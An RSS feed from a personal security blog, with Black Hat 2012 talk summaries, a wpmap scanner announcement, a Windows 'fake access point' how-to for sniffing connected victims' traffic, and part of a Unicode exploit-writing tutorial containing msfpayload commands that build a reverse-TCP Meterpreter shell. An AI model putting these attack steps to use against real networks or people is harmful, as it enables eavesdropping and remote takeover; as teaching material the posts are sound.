<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michele Manzotti</title>
	<atom:link href="http://www.manzotti.eu/feed" rel="self" type="application/rss+xml" />
	<link>http://www.manzotti.eu</link>
	<description></description>
	<lastBuildDate>Sun, 25 Mar 2012 13:38:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Back from Black Hat</title>
		<link>http://www.manzotti.eu/back-from-black-hat</link>
		<comments>http://www.manzotti.eu/back-from-black-hat#comments</comments>
		<pubDate>Sun, 18 Mar 2012 21:14:09 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[blackhat]]></category>
		<category><![CDATA[europe]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[talk]]></category>

		<guid isPermaLink="false">http://www.manzotti.eu/?p=2463</guid>
		<description><![CDATA[I&#8217;m just back from the Black Hat Europe 2012. It was a great experience in a beautiful atmosphere. All talks were interesting for some reason however I found the presentations below (not in a specific order) really exciting. CANAPE: Bytes Your Bits Michael Jordon &#8211; James Forshaw Testing and exploiting binary network protocols can be [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.manzotti.eu/wp-content/uploads/2012/03/IMG-20120315-00145.jpg"><img src="http://www.manzotti.eu/wp-content/uploads/2012/03/IMG-20120315-00145.jpg" alt="" title="IMG-20120315-00145" width="2592" height="1944" class="aligncenter size-full wp-image-2487" /></a></p>
<p>I&#8217;m just back from the Black Hat Europe 2012. It was a great experience in a beautiful atmosphere. All talks were interesting for some reason however I found the presentations below (not in a specific order) really exciting.</p>
<p><strong> CANAPE: Bytes Your Bits</strong><br />
Michael Jordon &#8211; James Forshaw</p>
<blockquote><p>Testing and exploiting binary network protocols can be both complex and time consuming. More often than not, custom software needs to be developed to proxy, parse and manipulate the traffic. CANAPE is a new Windows tool we are releasing at Blackhat which takes the existing paradigm of Web Application testing tools (such as CAT, Burp or Fiddler) and applies that to any network protocol. CANAPE provides a user interface that facilitates the capture and replaying of binary network traffic, whilst providing a framework to develop parsers and fuzzers.</p>
<p>This presentation will follow a worked example of using CANAPE to analyse the Citrix ICA binary protocol, allowing the discovery of a heap corruption bug that can be used to gain remote code execution on Citrix clients.</p></blockquote>
<p><strong>Ling Chuan Lee &#8211; Chan Lee Yee</strong></p>
<div id="__ss_12049298" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="GDI Font Fuzzing in Windows Kernel For Fun " href="http://www.slideshare.net/michelemanzotti/gdi-font-fuzzing-in-windows-kernel-for-fun">GDI Font Fuzzing in Windows Kernel For Fun </a></strong><object id="__sse12049298" width="425" height="355" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="wmode" value="transparent" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-lee-gdifontfuzzing-slides-120317160023-phpapp01&amp;stripped_title=gdi-font-fuzzing-in-windows-kernel-for-fun&amp;userName=michelemanzotti" /><param name="allowscriptaccess" value="always" /><param name="allowfullscreen" value="true" /><embed id="__sse12049298" width="425" height="355" type="application/x-shockwave-flash" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-lee-gdifontfuzzing-slides-120317160023-phpapp01&amp;stripped_title=gdi-font-fuzzing-in-windows-kernel-for-fun&amp;userName=michelemanzotti" allowFullScreen="true" allowScriptAccess="always" wmode="transparent" allowscriptaccess="always" allowfullscreen="true" /></object></div>
<blockquote><p>There are different types of font available within Windows and two groups of categories exist: GDI fonts and Device fonts. This talk will cover the GDI TrueType &amp; GDI Bitmap fonts only on Windows platform.</p>
<p>In GDI, one typically to create font is filling in a LOGFONT Structure and then calling CreateFontIndirect which returns a font handle. As expect from the name, a LOGFONT structure is a logical font, if the user draw some text using that font handle, GDI will look for a matching physical font to draw the text. If it doesn&#8217;t find any match font name, it will use some other font.</p>
<p>The resulting outcome is that the font fuzzer is working at the lower level through physical font API&#8217;s provided by the GDI itself. For instance, API functions GetFontData, GetGlyphIndices and even ExtTextOut when used with the ETO_GLYPH_INDEX flag. Font fuzzer in this talk is aim to trigger the font vulnerabilities published in internet, two vulnerability in Windows Kernel MS11-077 and MS11-087 in handling crafted font will be discussed in this talk.</p></blockquote>
<p><strong>Alexey Sintsov</strong></p>
<div id="__ss_12049263" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="Lotus Domino: Penetration Through the Controller" href="http://www.slideshare.net/michelemanzotti/lotus-domino-penetration-through-the-controller-12049263">Lotus Domino: Penetration Through the Controller</a></strong><object id="__sse12049263" width="425" height="355" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="wmode" value="transparent" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-sintsov-lotusdomino-slides-120317155356-phpapp02&amp;stripped_title=lotus-domino-penetration-through-the-controller-12049263&amp;userName=michelemanzotti" /><param name="allowscriptaccess" value="always" /><param name="allowfullscreen" value="true" /><embed id="__sse12049263" width="425" height="355" type="application/x-shockwave-flash" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-sintsov-lotusdomino-slides-120317155356-phpapp02&amp;stripped_title=lotus-domino-penetration-through-the-controller-12049263&amp;userName=michelemanzotti" allowFullScreen="true" allowScriptAccess="always" wmode="transparent" allowscriptaccess="always" allowfullscreen="true" /></object></div>
<blockquote><p>In the talk an overview of some ways to break Lotus through the Domino Controller (includes 0day bug) will be presented.</p></blockquote>
<p><strong>Mariano Nunez Di Croce</strong></p>
<div id="__ss_12049236" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="Cyber-Attacks &amp; SAP systems: Is Our Business-Critical Infrastructure Exposed?" href="http://www.slideshare.net/michelemanzotti/cyberattacks-sap-systems-is-our-businesscritical-infrastructure-exposed">Cyber-Attacks &amp; SAP systems: Is Our Business-Critical Infrastructure Exposed?</a></strong><object id="__sse12049236" width="425" height="355" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="wmode" value="transparent" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-dicroce-cyberattackstosapsystems-slides-120317154629-phpapp02&amp;stripped_title=cyberattacks-sap-systems-is-our-businesscritical-infrastructure-exposed&amp;userName=michelemanzotti" /><param name="allowscriptaccess" value="always" /><param name="allowfullscreen" value="true" /><embed id="__sse12049236" width="425" height="355" type="application/x-shockwave-flash" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-dicroce-cyberattackstosapsystems-slides-120317154629-phpapp02&amp;stripped_title=cyberattacks-sap-systems-is-our-businesscritical-infrastructure-exposed&amp;userName=michelemanzotti" allowFullScreen="true" allowScriptAccess="always" wmode="transparent" allowscriptaccess="always" allowfullscreen="true" /></object></div>
<blockquote><p>Global Fortune 1000 companies, large governmental organizations and defense entities have something in common: they rely on SAP platforms to run their business-critical processes and information. In this scenario, cyber-criminals looking to perform espionage, sabotage or financial fraud attacks know that these systems are keeping the business crown jewels.</p>
<p>But, how difficult is for them to break into an SAP system today? Are we properly protecting the business information or are we exposed?</p>
<p>Five years ago, we were invited to hold the first public presentation on real-world cyber-threats to SAP systems at BlackHat Europe 2007. Since then, we have performed specialized Penetration Tests against the SAP platforms of several of the largest organizations of the world, enabling us to get an educated answer to those questions.</p>
<p>Join us in this new presentation to learn:</p>
<p>How a cyber-attacker may break into an SAP system, completely anonymously.<br />
Which are the Top-10 technical vulnerabilities found in real-world SAP implementations.<br />
How protected are SAP systems from attacks over the Internet and internal networks.<br />
How feasible it is to detect attacks in real-time and/or forensic investigations.<br />
Which are the most effective measures to secure this business-critical platform.</p>
<p>This presentation will feature live demonstrations of attacks, war stories and statistics from real-world assessments.</p></blockquote>
<p><strong>Ben Williams</strong></p>
<div id="__ss_12049317" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces" href="http://www.slideshare.net/michelemanzotti/they-ought-to-know-better-exploiting-security-gateways-via-their-web-interfaces">They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces</a></strong><object id="__sse12049317" width="425" height="355" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="wmode" value="transparent" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-williams-exploitinggateways-slides-120317160602-phpapp01&amp;stripped_title=they-ought-to-know-better-exploiting-security-gateways-via-their-web-interfaces&amp;userName=michelemanzotti" /><param name="allowscriptaccess" value="always" /><param name="allowfullscreen" value="true" /><embed id="__sse12049317" width="425" height="355" type="application/x-shockwave-flash" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-williams-exploitinggateways-slides-120317160602-phpapp01&amp;stripped_title=they-ought-to-know-better-exploiting-security-gateways-via-their-web-interfaces&amp;userName=michelemanzotti" allowFullScreen="true" allowScriptAccess="always" wmode="transparent" allowscriptaccess="always" allowfullscreen="true" /></object></div>
<blockquote><p>After a thorough examination of a number of common Security Gateway products over the past few months I have determined that Security Gateway Web User Interfaces are often vulnerable to security flaws, which could enable an attacker to gain control of the UI, bypass controls within the application, and in many cases control the underlying operating system.</p>
<p>Based on this research I have reported over 30 vulnerabilities, complete with proof-of-concept exploits to the vendors of these products.</p>
<p>This presentation will discuss vulnerabilities common across these products, weaknesses in product design, and some interesting attack vectors where external attackers can exploit Security Gateways via the UI, even where the attacker has no direct access to the UI.</p></blockquote>
<p><strong>Enno Rey &#8211; Daniel Mende</strong></p>
<div id="__ss_12049340" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Crypto Ecosystem" href="http://www.slideshare.net/michelemanzotti/all-your-calls-are-still-belong-to-us-how-we-compromised-the-cisco-voip-crypto-ecosystem">All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Crypto Ecosystem</a></strong><object id="__sse12049340" width="425" height="355" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="wmode" value="transparent" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-rey-callbelongtous-slides-120317161029-phpapp02&amp;stripped_title=all-your-calls-are-still-belong-to-us-how-we-compromised-the-cisco-voip-crypto-ecosystem&amp;userName=michelemanzotti" /><param name="allowscriptaccess" value="always" /><param name="allowfullscreen" value="true" /><embed id="__sse12049340" width="425" height="355" type="application/x-shockwave-flash" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-rey-callbelongtous-slides-120317161029-phpapp02&amp;stripped_title=all-your-calls-are-still-belong-to-us-how-we-compromised-the-cisco-voip-crypto-ecosystem&amp;userName=michelemanzotti" allowFullScreen="true" allowScriptAccess="always" wmode="transparent" allowscriptaccess="always" allowfullscreen="true" /></object></div>
<blockquote><p>Modern &#8220;Enterprise&#8221; VoIP solutions are complex beasts. They usually encompass application servers (e.g. for mailboxes and to provide CTI functions), &#8220;infrastructure systems&#8221; for authentication or crypto stuff and &#8220;intelligent&#8221; phones.</p>
<p>In the end of the days the inherent complexity means that &#8211; while &#8220;traditional&#8221; VoIP attacks (like re-directing, sniffing and reconstructing calls) might no longer work &#8211; we&#8217;ve been able to severely compromise any enterprise VoIP environment we&#8217;ve pentested in the last twelve months. Based on a number of warstories, in this talk we&#8217;ll first lay out the relevant attack vectors and the protocol or device level vulnerabilities enabling those.</p>
<p>We will then focus on Cisco&#8217;s Unified Communications solution that seemingly disposes of a mature, certificate based crypto framework protecting both the signaling and the media transport. Well, seemingly. When closely inspecting the relevant parts and messages, it turns out that at some point all the key material can be replaced by attacker chosen keys. Which effectively means that we&#8217;re down to cleartext-like attacks again&#8230;</p>
<p>For the first time we&#8217;ll publicly provide a detailed technical explanation of the underlying vulnerabilities, show a live demo sniffing calls in a presumably fully encrypted environment and &#8211; of course ;-) &#8211; release a tool automating a number of steps of the complex overall attack. A discussion of potential mitigating controls, both on a technical and on the provisioning process level, completes the talk.</p></blockquote>
<p><strong>Sumit Siddharth &#8211; Tom Forbes</strong></p>
<div id="__ss_12056805" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="Hacking XPATH 2.0" href="http://www.slideshare.net/michelemanzotti/hacking-xpath-20">Hacking XPATH 2.0</a></strong><object id="__sse12056805" width="425" height="355" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="wmode" value="transparent" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-siddharth-xpath-slides-120318153943-phpapp01&amp;stripped_title=hacking-xpath-20&amp;userName=michelemanzotti" /><param name="allowscriptaccess" value="always" /><param name="allowfullscreen" value="true" /><embed id="__sse12056805" width="425" height="355" type="application/x-shockwave-flash" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-siddharth-xpath-slides-120318153943-phpapp01&amp;stripped_title=hacking-xpath-20&amp;userName=michelemanzotti" allowFullScreen="true" allowScriptAccess="always" wmode="transparent" allowscriptaccess="always" allowfullscreen="true" /></object></div>
<blockquote><p>The presentation will discuss the vulnerability XPATH Injection in depth and we will cover advanced exploitation techniques. We will talk about xpath 2.0 and how an attacker can not just obtain the XML document but also obtain files outside the current document. We will discuss how to exploit vulnerabilities blindly and the case when the application does not reveal anything (ie. compare this to a time based sql injection). Exfiltrating data over out of bound channel such as HTTP, DNS will also be discussed followed by some real life examples of the vulnerability found in the wild. Finally we will release an open-source tool to automate exploiting this vulnerability with all advanced exploitation features built in.</p></blockquote>
<p><strong>Antonios Atlasis</strong></p>
<div id="__ss_12056830" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="Attacking IPv6 Implementation Using Fragmentation" href="http://www.slideshare.net/michelemanzotti/attacking-ipv6-implementation-using-fragmentation">Attacking IPv6 Implementation Using Fragmentation</a></strong><object id="__sse12056830" width="425" height="355" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="wmode" value="transparent" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-atlasis-attackingipv6-slides-120318154238-phpapp01&amp;stripped_title=attacking-ipv6-implementation-using-fragmentation&amp;userName=michelemanzotti" /><param name="allowscriptaccess" value="always" /><param name="allowfullscreen" value="true" /><embed id="__sse12056830" width="425" height="355" type="application/x-shockwave-flash" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bh-eu-12-atlasis-attackingipv6-slides-120318154238-phpapp01&amp;stripped_title=attacking-ipv6-implementation-using-fragmentation&amp;userName=michelemanzotti" allowFullScreen="true" allowScriptAccess="always" wmode="transparent" allowscriptaccess="always" allowfullscreen="true" /></object></div>
<blockquote><p>IP fragmentation attacks is not a new issue. There are many publications regarding their exploitation for various purposes, including, but not limited to, OS fingerprinting, IDS/IPS insertion/evasion, firewall evasion and even remote code execution. The adoption of the new IP version, IPv6, has opened new potential exploitation fields to the attackers and pen testers. In this paper, it will be examined whether fragmentation issues still remain in IPv6 implementation of some of the most popular Operating Systems and whether they can also be used for the aforementioned purposes. To this end, several fragmentation attacks will be presented and their impact will be examined. As it will be shown, most of the popular OS, such as Windows, Linux and OpenBSD are susceptible to such attacks. In each case, the corresponding proof of concept code is provided. As it will be explained, such attacks, under specific circumstances can lead to OS fingerprinting, IDS insertion/evasion and firewalls evasions. Finally, these tests will also show which OS appears to be the most immune to IPv6 fragmentation attacks.</p></blockquote>
<p>All talks are <a href="https://www.blackhat.com/html/bh-eu-12/bh-eu-12-archives.html">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/back-from-black-hat/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fake AP in 2 seconds</title>
		<link>http://www.manzotti.eu/fake-ap-in-2-seconds</link>
		<comments>http://www.manzotti.eu/fake-ap-in-2-seconds#comments</comments>
		<pubDate>Fri, 30 Dec 2011 18:01:55 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[fake access point windows]]></category>

		<guid isPermaLink="false">http://www.manzotti.eu/?p=2401</guid>
		<description><![CDATA[Making an fake access point in Windows 7 it&#8217;s now really simple. Thanks to the new Wireless Hosted Networks technology introduced on Windows 7 and Windows Server 2008 R2 is possible to share an Internet connection from both a LAN and WIFI interface. First off we need to create a new Wifi (Mini Adapter) interface, [...]]]></description>
			<content:encoded><![CDATA[<p>Making an fake access point in Windows 7 it&#8217;s now really simple. Thanks to the new <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/dd815243%28v=vs.85%29.aspx">Wireless Hosted Networks</a> technology introduced on Windows 7 and Windows Server 2008 R2 is possible to share an Internet connection from both a LAN and WIFI interface.</p>
<p>First off we need to create a new Wifi (Mini Adapter) interface, ssid and key. Since we can&#8217;t create a fake access point without authentication a good strategy  is to put the key on ssid so people can connect to it:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">C:\windows\system32&gt;netsh wlan set hostednetwork mode=allow ssid=&quot;FreeWifi Key:12345678&quot; key=12345678
The hosted network mode has been set to allow.
The SSID of the hosted network has been successfully changed.
The user key passphrase of the hosted network has been successfully changed.</pre></div></div>

<p>Then we need to select the interface whence we would like to share our Internet connection. To do that you should go to Control Panel -> Network and Internet -> Network Connections, right click on the WIFI or LAN interface, properties and select the second Wifi Network Connection created right before. For this example I used the LAN interface as in the following picture.</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2011/12/Article_03-Dec.-30-16.26.jpg"><img src="http://www.manzotti.eu/wp-content/uploads/2011/12/Article_03-Dec.-30-16.26.jpg" alt="" title="Article_03 Dec. 30 16.26" width="360" height="460" class="aligncenter size-full wp-image-2404" /></a></p>
<p>Finally, we need to turn on the new Wifi:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">C:\windows\system32&gt;netsh wlan start hostednetwork
The hosted network started.</pre></div></div>

<p>and that&#8217;s it! Let&#8217;s wait&#8230;</p>
<p>Now to see if a victim is connected to our fake access point we need the following command:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">C:\windows\system32&gt;netsh wlan show hostednetwork
&nbsp;
Hosted network settings
-----------------------
    Mode                   : Allowed
    SSID name              : &quot;FreeWifi Key:12345678&quot;
    Max number of clients  : 100
    Authentication         : WPA2-Personal
    Cipher                 : CCMP
&nbsp;
Hosted network status
---------------------
    Status                 : Started
    BSSID                  : ac:81:12:6f:eb:46
    Radio type             : 802.11b
    Channel                : 11
    Number of clients      : 1
        xx:xx:xx:xx:xx:xx        Authenticated</pre></div></div>

<p>Obviously since we control the network we can sniff the traffic and all unencrypted traffic will be visible as shown in the following HTTP WordPress authentication:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2011/12/Article_01-Dec.-30-15.45.jpg"><img src="http://www.manzotti.eu/wp-content/uploads/2011/12/Article_01-Dec.-30-15.45.jpg" alt="" title="Article_01 Dec. 30 15.45" width="694" height="316" class="aligncenter size-full wp-image-2403" /></a></p>
<p>Have fun.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/fake-ap-in-2-seconds/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wpmap</title>
		<link>http://www.manzotti.eu/wpmap</link>
		<comments>http://www.manzotti.eu/wpmap#comments</comments>
		<pubDate>Thu, 17 Mar 2011 22:56:48 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wpmap]]></category>

		<guid isPermaLink="false">http://www.manzotti.eu/?p=2367</guid>
		<description><![CDATA[Today 17 March in Italy is national holiday so I have spent my spare time to write a little tool: wpmap.py As you can image, wpmap is a tool to discover the most installed plugins on WordPress platform. It could be useful when during a penetration testing you have time to download the plugin source [...]]]></description>
			<content:encoded><![CDATA[<p>Today 17 March in Italy is <a href="http://www.italiaunita150.it/">national holiday</a> so I have spent my spare time to write a little tool: wpmap.py</p>
<p>As you can image, wpmap is a tool to discover the most installed plugins on WordPress platform. It could be useful when during a penetration testing you have time to download the plugin source code and find some issues.</p>
<p>Menu:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ python wpmap.py 
Simple Wordpress scanner to enumerate installed plugins   by Michele `m7x` Manzotti
Version 1.0   Plugins: 104   EDB-ID: 2011-01-08
Usage: wpmap.py --site &lt;target&gt;
&nbsp;
Options:
  -h, --help            show this help message and exit
  -s SITE, --site=SITE  Wordpress site
  -d DIRECTORY, --directoy=DIRECTORY
                        Subdirectory Wordpress site
  -e, --exploit         Show exploit-db ID [default: False]
  -v, --verbose         Verbose mode[default: False]</pre></div></div>

<p>Some screenshots:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2011/03/wpmap.png"><img src="http://www.manzotti.eu/wp-content/uploads/2011/03/wpmap.png" alt="" title="wpmap" width="589" height="355" class="aligncenter size-full wp-image-2371" /></a></p>
<p>with &#8220;-e&#8221; option:</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2011/03/wpmap2.png"><img src="http://www.manzotti.eu/wp-content/uploads/2011/03/wpmap2.png" alt="" title="wpmap2" width="591" height="296" class="aligncenter size-full wp-image-2372" /></a></p>
<p>Download:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;">svn co https<span style="color: #339933;">://</span>wpmap<span style="color: #339933;">.</span>svn<span style="color: #339933;">.</span>sourceforge<span style="color: #339933;">.</span>net<span style="color: #339933;">/</span>svnroot<span style="color: #339933;">/</span>wpmap wpmap</pre></div></div>

<p>Happy hacking :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/wpmap/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial write an exploit part 4 Unicode</title>
		<link>http://www.manzotti.eu/tutorial-write-an-exploit-part-4-unicode</link>
		<comments>http://www.manzotti.eu/tutorial-write-an-exploit-part-4-unicode#comments</comments>
		<pubDate>Mon, 29 Nov 2010 10:09:15 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.manzotti.eu/?p=2227</guid>
		<description><![CDATA[- INTRODUCTION - OVERWRITE IN UNICODE COMPATIBLE - SHELLCODE - VENIETAN CODE - JUMP EXAMPLE - SEH EXAMPLE INTRODUCTION When you are looking for a vulnerability in an application it could be possible that after running the fuzzer eip or seh shows a strange and different address 0&#215;00410041 from the expected sequence of “A” 0&#215;41414141. [...]]]></description>
			<content:encoded><![CDATA[<p><strong><br />
<a href="#intro">- INTRODUCTION</a><br />
<a href="#unicode">- OVERWRITE IN UNICODE COMPATIBLE</a><br />
<a href="#shellcode">- SHELLCODE</a><br />
<a href="#venietan">- VENIETAN CODE</a><br />
<a href="#jump">- JUMP EXAMPLE</a><br />
<a href="#seh">- SEH EXAMPLE</a><br />
</strong></p>
<p><strong><a name="intro">INTRODUCTION</a></strong><br />
When you are looking for a vulnerability in an application it could be possible that after running the fuzzer eip or seh shows a strange and different address 0&#215;00410041 from the expected sequence of “A” 0&#215;41414141.<br />
<a href="http://www.manzotti.eu/wp-content/uploads/2010/11/Image-1.png"><img class="aligncenter size-full wp-image-2271" title="Image 1" src="http://www.manzotti.eu/wp-content/uploads/2010/11/Image-1.png" alt="" width="266" height="55" /></a><br />
Actually if you control better the two addresses you can immediately realize a correlation: two zeros “00” have been added among “A” bytes.<br />
So, since the application was developed with a different encoding compared to the traditional ASCII: the Unicode, it needs to use different techniques from those described so far in order to write a working exploit.</p>
<p>However, even if the application has been written in Unicode the general idea to make a jump on the shellcode when you owned the eip it’s still the same. The techniques described in the previous tutorials would be fine only if the addresses which will be crafted are Unicode compatible. </p>
<p><strong><a name="unicode">OVERWRITE IN UNICODE COMPATIBLE</a></strong><br />
The main problem in this scenario is not to be able to use any available address but unicode compatible only. Indeed, It’s essential to use addresses which still work when they are converted in Unicode. For example, when you write an address as 0xAABB it will be encoded in 0x00AA00BB and it’s essential that it’s still valid. Moreover, it’s not true that any byte will be translated in Unicode by adding a prefix of null byte 00 to original byte. In fact, for byte from 0&#215;00 and 0x7f a null byte will be added instead of byte &gt; 7f they will be translated in a total different way. In this scenario finding addresses which are Unicode compliant and responsive to our needs it’s difficult enough, but here is where the game gets interesting!</p>
<p>Let’s assume that you have found an address Unicode compatible which meets our need: it has two bytes &lt; 7f and so the encoding doesn’t envolve any change except for the null byte. Moreover let’s assume that address translated in Unicode points to a jump/call instruction to end up our shellcode. In addition it’s essential the jump/call will not cause any change in the stack and in the registers so our exploit takes effects. The same thing happens in the case of SEH: we have to overwrite the nseh and seh address with Unicode addresses compatibles which points to ppr instruction and then a short jump instrution to reach our shellcode. </p>
<p>We will see later how you can quickly find those addresses Unicode compatible.</p>
<p><strong><a name="shellcode">SHELLCODE</a></strong><br />
Now let&#8217;s concentrate to write a shellcode and let’s assume to be in the first memory location of shellcode. Obviously you can not put the shellcode as Metasploit creates it because then it will accordingly be encoded in Unicode and then it will not work. So you need to write shellcode compatible with Unicode so that the encoding process does not alter the shellocode and is properly executed. To do this there are several techniques. The main ones are two. Both are made by changing the code in-line and then running the shellcode reproduced. These techniques require only one of the registers to point at the beginning of the decoder + shellcode, and the original shellcode will be reassembled in place.</p>
<p>1) alpha2 (SkyLined) is a tool which allows us to encode the shellcode in Unicode compatible:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">msfpayload windows/meterpreter/reverse_tcp R &gt; /pentest/exploits/runcalc.raw
alpha2 eax --unicode --uppercase &lt; /pentest/exploits/runcalc.raw</pre></div></div>

<p>2) Metasploit:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">msfpayload windows/meterpreter/reverse_tcp R | msfencode -e x86/alpha_mixed -t raw | msfencode -e x86/unicode_upper BufferRegister=EAX -t perl</pre></div></div>

<p><strong><a name="venietan">VENETIAN CODE</a></strong><br />
However to run the shellcode you need to reach it in other words the decoder needs to have a register that points at itself. To do this you use a technique called venetian code.</p>
<p>Let’s assume that you want to put ebp+300 bytes into eax then make a jump to eax because the shellcode is right in that address. So it’s necessary to write some instructions in assembly as you are in an exploit ASCII environment and then apply the venetian shellcode technique to be unicode compatible.</p>
<p>Assembly instructions to make a ebp eax +300 in eax and make a jump to eax are:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">push ebp            ; put the address at ebp on the stack
pop eax             ; get address of ebp back from the stack and put it in eax
add eax,11001400    ; add 11001400 to eax
sub eax,11001100    ; subtract 11001100 from eax. Result = eax+300
&nbsp;
push    eax
ret</pre></div></div>

<p>That translate in opcode are:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">55              push    ebp
58              pop     eax
0500140011      add     eax,offset XXXX+0x1400 (11001400)
2d00110011      sub     eax,offset XXXX+0x1100 (11001100)
&nbsp;
50    ;push    eax
c3    ;ret</pre></div></div>

<p>Writing in venetian code means to add further instructions so that the null bytes added during the encoding phase aren’t going to alter the stack/register and they are going to be as plain nops:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">00 6E 00:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh</pre></div></div>

<p>Then if you add the byte \x6e in Unicode it will be \x006e00 which will not cause any kind of damage to the stack/registers.</p>
<p>There are some further instructions that would work as well (62, 6d, and so on).</p>
<p>So the jump will be:</p>

